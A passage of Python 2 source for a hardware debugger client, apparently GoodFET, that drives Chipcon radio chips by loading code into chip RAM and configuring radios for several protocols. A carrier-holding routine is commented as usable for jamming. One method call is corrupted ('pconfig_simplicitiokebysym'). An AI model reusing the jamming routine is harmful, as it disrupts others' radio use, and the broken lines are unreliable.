#freq1=self.CCpeekdatabyte(0xdf0a); 229 | #freq0=self.CCpeekdatabyte(0xdf0b); 230 | freq=0; 231 | try: 232 | freq2=self.peekbysym("FREQ2"); 233 | freq1=self.peekbysym("FREQ1"); 234 | freq0=self.peekbysym("FREQ0"); 235 | freq=(freq2<<16)+(freq1<<8)+freq0; 236 | except: 237 | freq=0; 238 | 239 | hz=freq*396.728515625; 240 | 241 | return hz; 242 | 243 | def RF_getchannel(self): 244 | """Get the hex channel.""" 245 | #FIXME CC1110 specific 246 | freq=0; 247 | try: 248 | freq2=self.peekbysym("FREQ2"); 249 | freq1=self.peekbysym("FREQ1"); 250 | freq0=self.peekbysym("FREQ0"); 251 | freq=(freq2<<16)+(freq1<<8)+freq0; 252 | except: 253 | freq=0; 254 | 255 | return freq; 256 | 257 | 258 | lastshellcode="none"; 259 | def shellcodefile(self,filename,wait=1, alwaysreload=0): 260 | """Run a fragment of shellcode by name.""" 261 | #FIXME: should identify chip model number, use shellcode for that chip. 262 | 263 | if self.lastshellcode!=filename or alwaysreload>0: 264 | self.lastshellcode=filename; 265 | file=__file__; 266 | file=file.replace("GoodFETCC.pyc","GoodFETCC.py"); 267 | #TODO make this generic 268 | path=file.replace("GoodFETCC.py","shellcode/chipcon/cc1110/"); 269 | filename=path+filename; 270 | 271 | #Load the shellcode. 272 | h=IntelHex(filename); 273 | for i in h._buf.keys(): 274 | self.CCpokedatabyte(i,h[i]); 275 | #Execute it. 276 | self.CCdebuginstr([0x02, 0xf0, 0x00]); #ljmp 0xF000 277 | self.resume(); 278 | while wait>0 and (0==self.CCstatus()&0x20): 279 | a=1; 280 | #print "Waiting for shell code to return."; 281 | return; 282 | def ishalted(self): 283 | return self.CCstatus()&0x20; 284 | def shellcode(self,code,wait=1): 285 | """Copy a block of code into RAM and execute it.""" 286 | i=0; 287 | ram=0xF000; 288 | for byte in code: 289 | self.pokebyte(0xF000+i,byte); 290 | i=i+1; 291 | #print "Code loaded, executing." 292 | self.CCdebuginstr([0x02, 0xf0, 0x00]); #ljmp 0xF000 293 | self.resume(); 294 | while wait>0 and (0==self.CCstatus()&0x20): 295 | a=1; 296 | #time.sleep(0.1); 297 | #print "Waiting for shell code to return."; 298 | return; 299 | def CC1110_crystal(self): 300 | """Start the main crystal of the CC1110 oscillating, needed for radio use.""" 301 | code=[0x53, 0xBE, 0xFB, #anl SLEEP, #0xFB 302 | #one: 303 | 0xE5, 0xBE, #mov a,SLEEP 304 | 0x30, 0xE6, 0xFB, #jnb acc.6, back 305 | 0x53, 0xc6, 0xB8, #anl CLKCON, #0xB8 306 | #two 307 | 0xE5, 0xC6, #mov a,CLKCON 308 | 0x20, 0xE6, 0xFB, #jb acc.6, two 309 | 0x43, 0xBE, 0x04, #orl SLEEP, #0x04 310 | 0xA5, #HALT 311 | ]; 312 | self.shellcode(code); 313 | 314 | #Slower to load, but produced from C. 315 | #self.shellcodefile("crystal.ihx"); 316 | return; 317 | def RF_idle(self): 318 | """Move the radio to its idle state.""" 319 | self.CC_RFST_IDLE(); 320 | return; 321 | 322 | #Chipcon RF strobes. CC1110 specific 323 | RFST_IDLE=0x04; 324 | RFST_RX=0x02; 325 | RFST_TX=0x03; 326 | RFST_CAL=0x01; 327 | def CC_RFST_IDLE(self): 328 | """Switch the radio to idle mode, clearing overflows and errors.""" 329 | self.CC_RFST(self.RFST_IDLE); 330 | def CC_RFST_TX(self): 331 | """Switch the radio to TX mode.""" 332 | self.CC_RFST(self.RFST_TX); 333 | def CC_RFST_RX(self): 334 | """Switch the radio to RX mode.""" 335 | self.CC_RFST(self.RFST_RX); 336 | def CC_RFST_CAL(self): 337 | """Calibrate strobe the radio.""" 338 | self.CC_RFST(self.RFST_CAL); 339 | def CC_RFST(self,state=RFST_IDLE): 340 | RFST=0xDFE1 341 | self.pokebyte(RFST,state); #Return to idle state. 342 | return; 343 | def config_dash7(self,band="lf"): 344 | #These settings came from the OpenTag project's GIT repo on 18 Dec, 2010. 345 | #Waiting for official confirmation of the accuracy. 346 | 347 | self.pokebysym("FSCTRL1" , 0x08) # Frequency synthesizer control. 348 | self.pokebysym("FSCTRL0" , 0x00) # Frequency synthesizer control. 349 | 350 | #Don't change these while the radio is active. 351 | self.pokebysym("FSCAL3" , 0xEA) # Frequency synthesizer calibration. 352 | self.pokebysym("FSCAL2" , 0x2A) # Frequency synthesizer calibration. 353 | self.pokebysym("FSCAL1" , 0x00) # Frequency synthesizer calibration. 354 | self.pokebysym("FSCAL0" , 0x1F) # Frequency synthesizer calibration. 355 | 356 | if band=="ismeu" or band=="eu": 357 | print "There is no official eu band for dash7." 358 | self.pokebysym("FREQ2" , 0x21) # Frequency control word, high byte. 359 | self.pokebysym("FREQ1" , 0x71) # Frequency control word, middle byte. 360 | self.pokebysym("FREQ0" , 0x7a) # Frequency control word, low byte. 361 | elif band=="ismus" or band=="us": 362 | print "There is no official us band for dash7." 363 | self.pokebysym("FREQ2" , 0x22) # Frequency control word, high byte. 364 | self.pokebysym("FREQ1" , 0xB1) # Frequency control word, middle byte. 365 | self.pokebysym("FREQ0" , 0x3B) # Frequency control word, low byte. 366 | elif band=="ismlf" or band=="lf": 367 | # 433.9198 MHz, same as Simpliciti. 368 | self.pokebysym("FREQ2" , 0x10) # Frequency control word, high byte. 369 | self.pokebysym("FREQ1" , 0xB0) # Frequency control word, middle byte. 370 | self.pokebysym("FREQ0" , 0x71) # Frequency control word, low byte. 371 | elif band=="none": 372 | pass; 373 | else: 374 | #Got a frequency, not a band. 375 | self.RF_setfreq(eval(band)); 376 | self.pokebysym("MDMCFG4" , 0x8B) # 62.5 kbps w/ 200 kHz filter 377 | self.pokebysym("MDMCFG3" , 0x3B) 378 | self.pokebysym("MDMCFG2" , 0x11) 379 | self.pokebysym("MDMCFG1" , 0x02) 380 | self.pokebysym("MDMCFG0" , 0x53) 381 | self.pokebysym("CHANNR" , 0x00) # Channel zero. 382 | self.pokebysym("DEVIATN" , 0x50) # 50 kHz deviation 383 | 384 | self.pokebysym("FREND1" , 0xB6) # Front end RX configuration. 385 | self.pokebysym("FREND0" , 0x10) # Front end RX configuration. 386 | self.pokebysym("MCSM2" , 0x1E) 387 | self.pokebysym("MCSM1" , 0x3F) 388 | self.pokebysym("MCSM0" , 0x30) 389 | self.pokebysym("FOCCFG" , 0x1D) # Frequency Offset Compensation Configuration. 390 | self.pokebysym("BSCFG" , 0x1E) # 6.25% data error rate 391 | 392 | self.pokebysym("AGCCTRL2" , 0xC7) # AGC control. 393 | self.pokebysym("AGCCTRL1" , 0x00) # AGC control. 394 | self.pokebysym("AGCCTRL0" , 0xB2) # AGC control. 395 | 396 | self.pokebysym("TEST2" , 0x81) # Various test settings. 397 | self.pokebysym("TEST1" , 0x35) # Various test settings. 398 | self.pokebysym("TEST0" , 0x09) # Various test settings. 399 | self.pokebysym("PA_TABLE0", 0xc0) # Max output power. 400 | self.pokebysym("PKTCTRL1" , 0x04) # Packet automation control, w/ lqi 401 | #self.pokebysym("PKTCTRL1" , 0x00) # Packet automation control. w/o lqi 402 | self.pokebysym("PKTCTRL0" , 0x05) # Packet automation control, w/ checksum. 403 | #self.pokebysym("PKTCTRL0" , 0x00) # Packet automation control, w/o checksum, fixed length 404 | self.pokebysym("ADDR" , 0x01) # Device address. 405 | self.pokebysym("PKTLEN" , 0xFF) # Packet length. 406 | 407 | #Sync word hack 408 | self.pokebysym("SYNC1",0x83); 409 | self.pokebysym("SYNC0",0xFE); 410 | return; 411 | def config_iclicker(self,band="lf"): 412 | #Mike Ossmann figured most of this out, with help from neighbors. 413 | 414 | self.pokebysym("FSCTRL1" , 0x06) # Frequency synthesizer control. 415 | self.pokebysym("FSCTRL0" , 0x00) # Frequency synthesizer control. 416 | 417 | #Don't change these while the radio is active. 418 | self.pokebysym("FSCAL3" , 0xE9) 419 | self.pokebysym("FSCAL2" , 0x2A) 420 | self.pokebysym("FSCAL1" , 0x00) 421 | self.pokebysym("FSCAL0" , 0x1F) 422 | 423 | if band=="ismeu" or band=="eu": 424 | print "The EU band is unknown."; 425 | elif band=="ismus" or band=="us": 426 | #905.5MHz 427 | self.pokebysym("FREQ2" , 0x22) # Frequency control word, high byte. 428 | self.pokebysym("FREQ1" , 0xD3) # Frequency control word, middle byte. 429 | self.pokebysym("FREQ0" , 0xAC) # Frequency control word, low byte. 430 | elif band=="ismlf" or band=="lf": 431 | print "There is no LF version of the iclicker." 432 | elif band=="none": 433 | pass; 434 | else: 435 | #Got a frequency, not a band. 436 | self.RF_setfreq(eval(band)); 437 | # 812.5kHz bandwidth, 152.34 kbaud 438 | self.pokebysym("MDMCFG4" , 0x1C) 439 | self.pokebysym("MDMCFG3" , 0x80) 440 | # no FEC, 2 byte preamble, 250kHz chan spacing 441 | 442 | #15/16 sync 443 | #self.pokebysym("MDMCFG2" , 0x01) 444 | #16/16 sync 445 | self.pokebysym("MDMCFG2" , 0x02) 446 | 447 | self.pokebysym("MDMCFG1" , 0x03) 448 | self.pokebysym("MDMCFG0" , 0x3b) 449 | 450 | self.pokebysym("CHANNR" , 0x2e) # Channel zero. 451 | 452 | #self.pokebysym("DEVIATN" , 0x71) # 118.5 453 | self.pokebysym("DEVIATN" , 0x72) # 253.9 kHz deviation 454 | 455 | self.pokebysym("FREND1" , 0x56) # Front end RX configuration. 456 | self.pokebysym("FREND0" , 0x10) # Front end RX configuration. 457 | self.pokebysym("MCSM2" , 0x07) 458 | self.pokebysym("MCSM1" , 0x30) #Auto freq. cal. 459 | self.pokebysym("MCSM0" , 0x14) 460 | 461 | self.pokebysym("TEST2" , 0x88) # 462 | self.pokebysym("TEST1" , 0x31) # 463 | self.pokebysym("TEST0" , 0x09) # High VCO (Upper band.) 464 | self.pokebysym("PA_TABLE0", 0xC0) # Max output power. 465 | self.pokebysym("PKTCTRL1" , 0x45) # Preamble qualidy 2*4=6, adr check, status 466 | self.pokebysym("PKTCTRL0" , 0x00) # No whitening, CR, fixed len. 467 | 468 | self.pokebysym("PKTLEN" , 0x09) # Packet length. 469 | 470 | self.pokebysym("SYNC1",0xB0); 471 | self.pokebysym("SYNC0",0xB0); 472 | self.pokebysym("ADDR", 0xB0); 473 | return; 474 | 475 | def config_ademco(self, band="lf"): 476 | pass 477 | # FIXME Temporary placeholder for me to write the Ademco protocol into the GoodFET Chipcon Application 478 | # TODO Also, write a class that takes in the XML registration files and sets values (not just addresses) 479 | 480 | def config_ook(self,band="none"): 481 | self.pokebysym("FSCTRL1" , 0x0C) #08 # Frequency synthesizer control. 482 | self.pokebysym("FSCTRL0" , 0x00) # Frequency synthesizer control. 483 | 484 | #Don't change these while the radio is active. 485 | self.pokebysym("FSCAL3" , 0xEA) # Frequency synthesizer calibration. 486 | self.pokebysym("FSCAL2" , 0x2A) # Frequency synthesizer calibration. 487 | self.pokebysym("FSCAL1" , 0x00) # Frequency synthesizer calibration. 488 | self.pokebysym("FSCAL0" , 0x1F) # Frequency synthesizer calibration. 489 | 490 | if band=="ismeu" or band=="eu": 491 | self.pokebysym("FREQ2" , 0x21) # Frequency control word, high byte. 492 | self.pokebysym("FREQ1" , 0x71) # Frequency control word, middle byte. 493 | self.pokebysym("FREQ0" , 0x7a) # Frequency control word, low byte. 494 | elif band=="ismus" or band=="us": 495 | self.pokebysym("FREQ2" , 0x22) # Frequency control word, high byte. 496 | self.pokebysym("FREQ1" , 0xB1) # Frequency control word, middle byte. 497 | self.pokebysym("FREQ0" , 0x3B) # Frequency control word, low byte. 498 | elif band=="ismlf" or band=="lf": 499 | self.pokebysym("FREQ2" , 0x0C) # Frequency control word, high byte. 500 | self.pokebysym("FREQ1" , 0x1D) # Frequency control word, middle byte. 501 | self.pokebysym("FREQ0" , 0x89) # Frequency control word, low byte. 502 | elif band=="none": 503 | pass; 504 | else: 505 | #Got a frequency, not a band. 506 | self.RF_setfreq(eval(band)); 507 | 508 | #data rate 509 | #~1 510 | #self.pokebysym("MDMCFG4" , 0x85) 511 | #self.pokebysym("MDMCFG3" , 0x83) 512 | #0.5 513 | #self.pokebysym("MDMCFG4" , 0xf4) 514 | #self.pokebysym("MDMCFG3" , 0x43) 515 | #2.4 516 | #self.pokebysym("MDMCFG4" , 0xf6) 517 | #self.pokebysym("MDMCFG3" , 0x83) 518 | 519 | #4.8 kbaud 520 | #print "Warning: Default to 4.8kbaud."; 521 | #self.pokebysym("MDMCFG4" , 0xf7) 522 | #self.pokebysym("MDMCFG3" , 0x83) 523 | #9.6 kbaud 524 | #print "Warning: Default to 9.6kbaud."; 525 | # 526 | 527 | self.pokebysym("MDMCFG4" , 0xf8) 528 | self.pokebysym("MDMCFG3" , 0x83) 529 | self.pokebysym("MDMCFG2" , 0x34) # OOK, carrier-sense, no-manchester 530 | 531 | #Kind aright for keeloq 532 | print "Warning: Guessing baud rate."; 533 | #self.pokebysym("MDMCFG4" , 0xf6) 534 | #self.pokebysym("MDMCFG3" , 0x93) 535 | #self.pokebysym("MDMCFG2" , 0x3C) # OOK, carrier-sense, manchester 536 | 537 | self.pokebysym("MDMCFG1" , 0x00) # Modem configuration. 538 | self.pokebysym("MDMCFG0" , 0xF8) # Modem configuration. 539 | self.pokebysym("CHANNR" , 0x00) # Channel number. 540 | 541 | self.pokebysym("FREND1" , 0x56) # Front end RX configuration. 542 | self.pokebysym("FREND0" , 0x11) # Front end RX configuration. 543 | self.pokebysym("MCSM0" , 0x18) # Main Radio Control State Machine configuration. 544 | #self.pokebysym("FOCCFG" , 0x1D) # Frequency Offset Compensation Configuration. 545 | #self.pokebysym("BSCFG" , 0x1C) # Bit synchronization Configuration. 546 | 547 | #self.pokebysym("AGCCTRL2" , 0xC7) # AGC control. 548 | #self.pokebysym("AGCCTRL1" , 0x00) # AGC control. 549 | #self.pokebysym("AGCCTRL0" , 0xB2) # AGC control. 550 | 551 | self.pokebysym("TEST2" , 0x81) # Various test settings. 552 | self.pokebysym("TEST1" , 0x35) # Various test settings. 553 | self.pokebysym("TEST0" , 0x0B) # Various test settings. 554 | self.pokebysym("PA_TABLE0", 0xc2) # Max output power. 555 | self.pokebysym("PKTCTRL1" , 0x04) # Packet automation control, w/ lqi 556 | #self.pokebysym("PKTCTRL1" , 0x00) # Packet automation control. w/o lqi 557 | #self.pokebysym("PKTCTRL0" , 0x05) # Packet automation control, w/ checksum. 558 | self.pokebysym("PKTCTRL0" , 0x00) # Packet automation control, w/o checksum, fixed length 559 | self.pokebysym("ADDR" , 0x01) # Device address. 560 | self.pokebysym("PKTLEN" , 0xFF) # Packet length. 561 | 562 | self.pokebysym("SYNC1",0xD3); 563 | self.pokebysym("SYNC0",0x91); 564 | 565 | def config_simpliciti(self,band="none"): 566 | self.pokebysym("FSCTRL1" , 0x0C) #08 # Frequency synthesizer control. 567 | self.pokebysym("FSCTRL0" , 0x00) # Frequency synthesizer control. 568 | 569 | #Don't change these while the radio is active. 570 | self.pokebysym("FSCAL3" , 0xEA) # Frequency synthesizer calibration. 571 | self.pokebysym("FSCAL2" , 0x2A) # Frequency synthesizer calibration. 572 | self.pokebysym("FSCAL1" , 0x00) # Frequency synthesizer calibration. 573 | self.pokebysym("FSCAL0" , 0x1F) # Frequency synthesizer calibration. 574 | 575 | if band=="ismeu" or band=="eu": 576 | self.pokebysym("FREQ2" , 0x21) # Frequency control word, high byte. 577 | self.pokebysym("FREQ1" , 0x71) # Frequency control word, middle byte. 578 | self.pokebysym("FREQ0" , 0x7a) # Frequency control word, low byte. 579 | elif band=="ismus" or band=="us": 580 | self.pokebysym("FREQ2" , 0x22) # Frequency control word, high byte. 581 | self.pokebysym("FREQ1" , 0xB1) # Frequency control word, middle byte. 582 | self.pokebysym("FREQ0" , 0x3B) # Frequency control word, low byte. 583 | elif band=="ismlf" or band=="lf": 584 | self.pokebysym("FREQ2" , 0x10) # Frequency control word, high byte. 585 | self.pokebysym("FREQ1" , 0xB0) # Frequency control word, middle byte. 586 | self.pokebysym("FREQ0" , 0x71) # Frequency control word, low byte. 587 | elif band=="none": 588 | band="none"; 589 | else: 590 | #Got a frequency, not a band. 591 | self.RF_setfreq(eval(band)); 592 | self.pokebysym("MDMCFG4" , 0x7B) # Modem configuration. 593 | self.pokebysym("MDMCFG3" , 0x83) # Modem configuration. 594 | self.pokebysym("MDMCFG2" , 0x13) # Modem configuration. 595 | self.pokebysym("MDMCFG1" , 0x22) # Modem configuration. 596 | self.pokebysym("MDMCFG0" , 0xF8) # Modem configuration. 597 | if band=="ismus" or band=="us": 598 | self.pokebysym("CHANNR" , 20) # Channel number. 599 | else: 600 | self.pokebysym("CHANNR" , 0x00) # Channel number. 601 | self.pokebysym("DEVIATN" , 0x42) # Modem deviation setting (when FSK modulation is enabled). 602 | 603 | self.pokebysym("FREND1" , 0xB6) # Front end RX configuration. 604 | self.pokebysym("FREND0" , 0x10) # Front end RX configuration. 605 | self.pokebysym("MCSM0" , 0x18) # Main Radio Control State Machine configuration. 606 | self.pokebysym("FOCCFG" , 0x1D) # Frequency Offset Compensation Configuration. 607 | self.pconfig_simplicitiokebysym("BSCFG" , 0x1C) # Bit synchronization Configuration. 608 | 609 | self.pokebysym("AGCCTRL2" , 0xC7) # AGC control. 610 | self.pokebysym("AGCCTRL1" , 0x00) # AGC control. 611 | self.pokebysym("AGCCTRL0" , 0xB2) # AGC control. 612 | 613 | self.pokebysym("TEST2" , 0x81) # Various test settings. 614 | self.pokebysym("TEST1" , 0x35) # Various test settings. 615 | self.pokebysym("TEST0" , 0x09) # Various test settings. 616 | self.pokebysym("PA_TABLE0", 0xc0) # Max output power. 617 | self.pokebysym("PKTCTRL1" , 0x04) # Packet automation control, w/ lqi 618 | #self.pokebysym("PKTCTRL1" , 0x00) # Packet automation control. w/o lqi 619 | self.pokebysym("PKTCTRL0" , 0x05) # Packet automation control, w/ checksum. 620 | #self.pokebysym("PKTCTRL0" , 0x00) # Packet automation control, w/o checksum, fixed length 621 | self.pokebysym("ADDR" , 0x01) # Device address. 622 | self.pokebysym("PKTLEN" , 0xFF) # Packet length. 623 | 624 | self.pokebysym("SYNC1",0xD3); 625 | self.pokebysym("SYNC0",0x91); 626 | 627 | def RF_carrier(self): 628 | """Hold a carrier wave on the present frequency.""" 629 | 630 | self.CC1110_crystal(); #FIXME, '1110 specific. 631 | self.RF_idle(); 632 | 633 | 634 | RFST=0xDFE1; 635 | 636 | self.config_simpliciti(); 637 | 638 | #Don't change these while the radio is active. 639 | #self.pokebysym("FSCAL3" , 0xA9) # Frequency synthesizer calibration. 640 | #self.pokebysym("FSCAL2" , 0x0A) # Frequency synthesizer calibration. 641 | #self.pokebysym("FSCAL1" , 0x00) # Frequency synthesizer calibration. 642 | #self.pokebysym("FSCAL0" , 0x11) # Frequency synthesizer calibration. 643 | 644 | #Ramp up the power. 645 | #self.pokebysym("PA_TABLE0", 0xFF) # PA output power setting. 646 | 647 | #This is what drops to OOK. 648 | #Comment to keep GFSK, might be better at jamming. 649 | self.pokebysym("MDMCFG4" , 0x86) # Modem configuration. 650 | self.pokebysym("MDMCFG3" , 0x83) # Modem configuration. 651 | self.pokebysym("MDMCFG2" , 0x30) # Modem configuration. 652 | self.pokebysym("MDMCFG1" , 0x22) # Modem configuration. 653 | self.pokebysym("MDMCFG0" , 0xF8) # Modem configuration. 654 | 655 | self.pokebysym("SYNC1",0xAA); 656 | self.pokebysym("SYNC0",0xAA); 657 | 658 | #while ((MARCSTATE & MARCSTATE_MARC_STATE) != MARC_STATE_TX); 659 | state=0; 660 | 661 | while((state!=0x13)): 662 | self.pokebyte(RFST,0x03); #RFST=RFST_STX 663 | time.sleep(0.1); 664 | state=self.peekbysym("MARCSTATE")&0x1F; 665 | #print "state=%02x" % state; 666 | print "Holding a carrier on %f MHz." % (self.RF_getfreq()/10**6); 667 | 668 | return; 669 | 670 | def RF_getsmac(self): 671 | """Return the source MAC address.""" 672 | 673 | #Register 0A is RX_ADDR_P0, five bytes. 674 | mac=self.peekbysym("ADDR"); 675 | return mac; 676 | 677 | def RF_setsmac(self,mac): 678 | """Set the source MAC address.""" 679 | self.pokebysym("ADDR",mac); 680 | return 0; 681 | 682 | def RF_gettmac(self): 683 | """Return the target MAC address.""" 684 | return 0; 685 | 686 | def RF_settmac(self,mac): 687 | """Set the target MAC address.""" 688 | return 0; 689 | 690 | def RF_rxpacket(self): 691 | """Get a packet from the radio. Returns None if none is waiting.""" 692 | self.shellcodefile("rxpacket.ihx"); 693 | len=self.peek8(0xFE00,"xdata"); 694 | return self.peekblock(0xFE00,len+3,"data"); 695 | 696 | def RF_txpacket(self,packet): 697 | """Transmit a packet. Untested.""" 698 | 699 | self.pokeblock(0xFE00,packet,"data"); 700 | self.shellcodefile("txpacket.ihx"); 701 | return; 702 | def RF_txrxpacket(self,packet): 703 | """Transmit a packet. Untested.""" 704 | 705 | self.pokeblock(0xFE00,packet,"data"); 706 | self.shellcodefile("txrxpacket.ihx"); 707 | len=self.peek8(0xFE00,"xdata"); 708 | return self.peekblock(0xFE00,len+3,"data"); 709 | 710 | def RF_getrssi(self): 711 | """Returns the received signal strenght, with a weird offset.""" 712 | try: 713 | rssireg=self.symbols.get("RSSI"); 714 | return self.CCpeekdatabyte(rssireg)^0x80; 715 | except: 716 | if self.verbose>0: print "RSSI reg doesn't exist."; 717 | try: 718 | #RSSI doesn't exist on some 2.4GHz devices. Maybe RSSIL and RSSIH? 719 | rssilreg=self.symbols.get("RSSIL"); 720 | rssil=self.CCpeekdatabyte(rssilreg); 721 | rssihreg=self.symbols.get("RSSIL"); 722 | rssih=self.CCpeekdatabyte(rssihreg); 723 | return (rssih<<8)|rssil; 724 | except: 725 | if self.verbose>0: print "RSSIL/RSSIH regs don't exist."; 726 | 727 | return 0; 728 | 729 | def SRF_loadsymbols(self): 730 | ident=self.CCident(); 731 | chip=self.CCversions.get(ident&0xFF00); 732 | dom=self.SRF_chipdom(chip,"register_definition.xml"); 733 | for e in dom.getElementsByTagName("registerdefinition"): 734 | for f in e.childNodes: 735 | if f.localName=="Register": 736 | name="unknownreg"; 737 | address="0xdead"; 738 | description=""; 739 | bitfields=""; 740 | for g in f.childNodes: 741 | if g.localName=="Name": 742 | name=g.childNodes[0].nodeValue; 743 | elif g.localName=="Address": 744 | address=g.childNodes[0].nodeValue; 745 | elif g.localName=="Description": 746 | if g.childNodes: 747 | description=g.childNodes[0].nodeValue; 748 | elif g.localName=="Bitfield": 749 | bitfields+="%17s/* %-50s */\n" % ("",self.SRF_bitfieldstr(g)); 750 | #print "SFRX(%10s, %s); /* %50s */" % (name,address, description); 751 | self.symbols.define(eval(address),name,description,"data"); 752 | def halt(self): 753 | """Halt the CPU.""" 754 | self.CChaltcpu(); 755 | def CChaltcpu(self): 756 | """Halt the CPU.""" 757 | self.writecmd(self.APP,0x86,0,self.data); 758 | def resume(self): 759 | self.CCreleasecpu(); 760 | def CCreleasecpu(self): 761 | """Resume the CPU.""" 762 | self.writecmd(self.APP,0x87,0,self.data); 763 | def test(self): 764 | self.CCreleasecpu(); 765 | self.CChaltcpu(); 766 | #print "Status: %s" % self.CCstatusstr(); 767 | 768 | #Grab ident three times, should be equal. 769 | ident1=self.CCident(); 770 | ident2=self.CCident(); 771 | ident3=self.CCident(); 772 | if(ident1!=ident2 or ident2!=ident3): 773 | print "Error, repeated ident attempts unequal." 774 | print "%04x, %04x, %04x" % (ident1, ident2, ident3); 775 | 776 | #Single step, printing PC. 777 | print "Tracing execution at startup." 778 | for i in range(1,15): 779 | pc=self.CCgetPC(); 780 | byte=self.CCpeekcodebyte(i); 781 | #print "PC=%04x, %02x" % (pc, byte); 782 | self.CCstep_instr(); 783 | 784 | print "Verifying that debugging a NOP doesn't affect the PC." 785 | for i in range(1,15): 786 | pc=self.CCgetPC(); 787 | self.CCdebuginstr([0x00]); 788 | if(pc!=self.CCgetPC()): 789 | print "ERROR: PC changed during CCdebuginstr([NOP])!"; 790 | 791 | print "Checking pokes to XRAM." 792 | for i in range(self.execbuf,self.execbuf+0x20): 793 | self.CCpokedatabyte(i,0xde); 794 | if(self.CCpeekdatabyte(i)!=0xde): 795 | print "Error in XDATA at 0x%04x" % i; 796 | 797 | #print "Status: %s." % self.CCstatusstr(); 798 | #Exit debugger 799 | self.stop(); 800 | print "Done."; 801 | 802 | def setup(self): 803 | """Move the FET into the Chipcon 8051 application.""" 804 | #print "Initializing Chipcon."; 805 | self.writecmd(self.APP,0x10,0,self.data); 806 | def CCrd_config(self): 807 | """Read the config register of a Chipcon.""" 808 | self.writecmd(self.APP,0x82,0,self.data); 809 | return ord(self.data[0]); 810 | def CCwr_config(self,config): 811 | """Write the config register of a Chipcon.""" 812 | self.writecmd(self.APP,0x81,1,[config&0xFF]); 813 | def CClockchip(self): 814 | """Set the flash lock bit in info mem.""" 815 | self.writecmd(self.APP, 0x9A, 0, None); 816 | def lock(self): 817 | """Set the flash lock bit in info mem.""" 818 | self.CClockchip(); 819 | 820 | 821 | CCversions={0x0100:"cc1110", 822 | 0x1100:"cc1111", 823 | 0x8500:"cc2430", 824 | 0x8900:"cc2431", 825 | 0x8100:"cc2510", 826 | 0x9100:"cc2511", 827 | 0xA500:"cc2530", #page 57 of SWRU191B 828 | 0xB500:"cc2531", 829 | 0x9500:"cc2533", 830 | 0x8D00:"cc2540", 831 | 0xFF00:"CCmissing"}; 832 | execbuf=None; 833 | CCexecbuf= {0x0100:0xF000, 834 | 0x1100:0xF000, 835 | 0x8500:0xF000, 836 | 0x8900:0xF000, 837 | 0x8100:0xF000, 838 | 0x9100:0xF000, 839 | 0xA500:0x0000, #CC2530 840 | 0xB500:0x8000, 841 | 0x9500:0x8000, 842 | 0x8D00:0x8000, 843 | 0xFF00:None} #missing 844 | CCpagesizes={0x01: 1024, #"CC1110", 845 | 0x11: 1024, #"CC1111", 846 | 0x85: 2048, #"CC2430", 847 | 0x89: 2048, #"CC2431", 848 | 0x81: 1024, #"CC2510", 849 | 0x91: 1024, #"CC2511", 850 | 0xA5: 2048, #"CC2530", #page 57 of SWRU191B 851 | 0xB5: 2048, #"CC2531", 852 | 0x95: 2048, #"CC2533", 853 | 0x8D: 2048, #"CC2540", 854 | 0xFF: None} 855 | def infostring(self): 856 | return self.CCidentstr(); 857 | def CCidentstr(self): 858 | ident=self.CCident(); 859 | chip=self.CCversions.get(ident&0xFF00); 860 | execbuf=self.CCexecbuf.get(ident&0xFF00); 861 | pagesize=self.CCpagesizes.get(ident>0xFF); 862 | self.execbuf=execbuf; 863 | 864 | try: 865 | return "%s/r%0.4x/ps0x%0.4x" % (chip, ident, pagesize); 866 | except: 867 | return "%04x" % ident; 868 | def CCident(self): 869 | """Get a chipcon's ID.""" 870 | self.writecmd(self.APP,0x8B,0,None); 871 | chip=ord(self.data[0]); 872 | rev=ord(self.data[1]); 873 | return (chip<<8)+rev; 874 | def CCpagesize(self): 875 | """Get a chipcon's ID.""" 876 | self.writecmd(self.APP,0x8B,0,None); 877 | chip=ord(self.data[0]); 878 | size=self.CCpagesizes.get(chip); 879 | if(size<10): 880 | print "ERROR: Pagesize undefined."; 881 | print "chip=%0.4x" %chip; 882 | sys.exit(1); 883 | #return 2048; 884 | return size; 885 | def getpc(self): 886 | return self.CCgetPC(); 887 | def CCgetPC(self): 888 | """Get a chipcon's PC.""" 889 | self.writecmd(self.APP,0x83,0,None); 890 | hi=ord(self.data[0]); 891 | lo=ord(self.data[1]); 892 | return (hi<<8)+lo; 893 | def CCcmd(self,phrase): 894 | self.writecmd(self.APP,0x00,len(phrase),phrase); 895 | val=ord(self.data[0]); 896 | print "Got %02x" % val; 897 | return val; 898 | def CCdebuginstr(self,instr): 899 | self.writecmd(self.APP,0x88,len(instr),instr); 900 | return ord(self.data[0]); 901 | #def peekblock(self,adr,length,memory="vn"): 902 | # """Return a block of data, broken""" 903 | # data=[adr&0xff, (adr&0xff00)>>8, 904 | # length&0xFF,(length&0xFF00)>>8]; 905 | # self.writecmd(self.APP,0x91,4,data); 906 | # return [ord(x) for x in self.data] 907 | def peek8(self,address, memory="code"): 908 | if(memory=="code" or memory=="flash" or memory=="vn"): 909 | return self.CCpeekcodebyte(address); 910 | elif(memory=="data" or memory=="xdata" or memory=="ram"): 911 | return self.CCpeekdatabyte(address); 912 | elif(memory=="idata" or memory=="iram"): 913 | return self.CCpeekirambyte(address); 914 | print "%s is an unknown memory." % memory; 915 | return 0xdead; 916 | def CCpeekcodebyte(self,adr): 917 | """Read the contents of code memory at an address.""" 918 | self.data=[adr&0xff, (adr&0xff00)>>8]; 919 | self.writecmd(self.APP,0x90,2,self.data); 920 | return ord(self.data[0]); 921 | def CCpeekdatabyte(self,adr): 922 | """Read the contents of data memory at an address.""" 923 | self.data=[adr&0xff, (adr&0xff00)>>8]; 924 | self.writecmd(self.APP,0x91, 2, self.data); 925 | return ord(self.data[0]); 926 | def CCpeekirambyte(self,adr): 927 | """Read the contents of IRAM at an address.""" 928 | self.data=[adr&0xff]; 929 | self.writecmd(self.APP,0x02, 1, self.data); 930 | return ord(self.data[0]); 931 | def CCpeekiramword(self,adr): 932 | """Read the little-endian contents of IRAM at an address.""" 933 | return self.CCpeekirambyte(adr)+( 934 | self.CCpeekirambyte(adr+1)<<8); 935 | def CCpokeiramword(self,adr,val): 936 | self.CCpokeirambyte(adr,val&0xff); 937 | self.CCpokeirambyte(adr+1,(val>>8)&0xff); 938 | def CCpokeirambyte(self,adr,val): 939 | """Write the contents of IRAM at an address.""" 940 | self.data=[adr&0xff, val&0xff]; 941 | self.writecmd(self.APP,0x02, 2, self.data); 942 | return ord(self.data[0]); 943 | def pokebyte(self,adr,val,mem="xdata"): 944 | self.CCpokedatabyte(adr,val); 945 | def CCpokedatabyte(self,adr,val): 946 | """Write a byte to data memory.""" 947 | self.data=[adr&0xff, 